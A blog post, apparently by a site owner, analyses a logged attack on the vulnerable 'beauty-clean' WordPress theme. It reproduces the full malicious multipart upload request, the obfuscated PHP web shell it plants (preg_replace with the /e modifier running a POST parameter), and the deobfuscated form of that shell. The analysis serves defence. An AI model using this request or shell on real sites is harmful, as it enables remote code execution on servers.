Another interesting attack against the “beauty-clean” WP theme
Today I logged another attack that attempts to exploit the horribly broken (i.e., full of security holes) “beauty-clean” WordPress theme. It also exploits a misfeature of PHP that is one of hundreds of reasons that PHP needs to die. Anyone who tells me they’re proud they write most of their code in PHP is someone who probably received way too many awards as a child merely for participating.
I wrote about the first attack I noticed against this theme just two weeks ago. This most recent attack is similar yet different. It leverages the fact the WP theme creates a temporary file using the filename provided by the attacker and then doesn’t remove the file.
POST / HTTP/1.1 Referer: User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0 Accept: */* Content-Type: multipart/form-data; boundary=(UploadBoundary) Host: www.skepticism.us Content-Length: 409 Connection: Close --(UploadBoundary) Content-Disposition: form-data; name="yiw_contact[]"; filename="resd.php" Content-Type: text/php <?php $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['h'],"Access");?>45000 --(UploadBoundary) Content-Disposition: form-data; name="yiw_action" sendemail --(UploadBoundary) Content-Disposition: form-data; name="id_form" a_3_3 --(UploadBoundary)
Here is the PHP program the hacker is attempting to install on my system:
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['h'],"Access");
Notice the childish attempt at obfuscating the code. Removing the obfuscation we get:
preg_replace("/[discuz]/e", $_POST['h'], "Access");
OMFG! It’s going to execute whatever PHP code the attacker passes via a “h” POST parameter four times: once for each occurrence of the letters “c” and “s” in the word “Access”. So not only is the person who wrote the “beauty-clean” theme incompetent so is this hacker.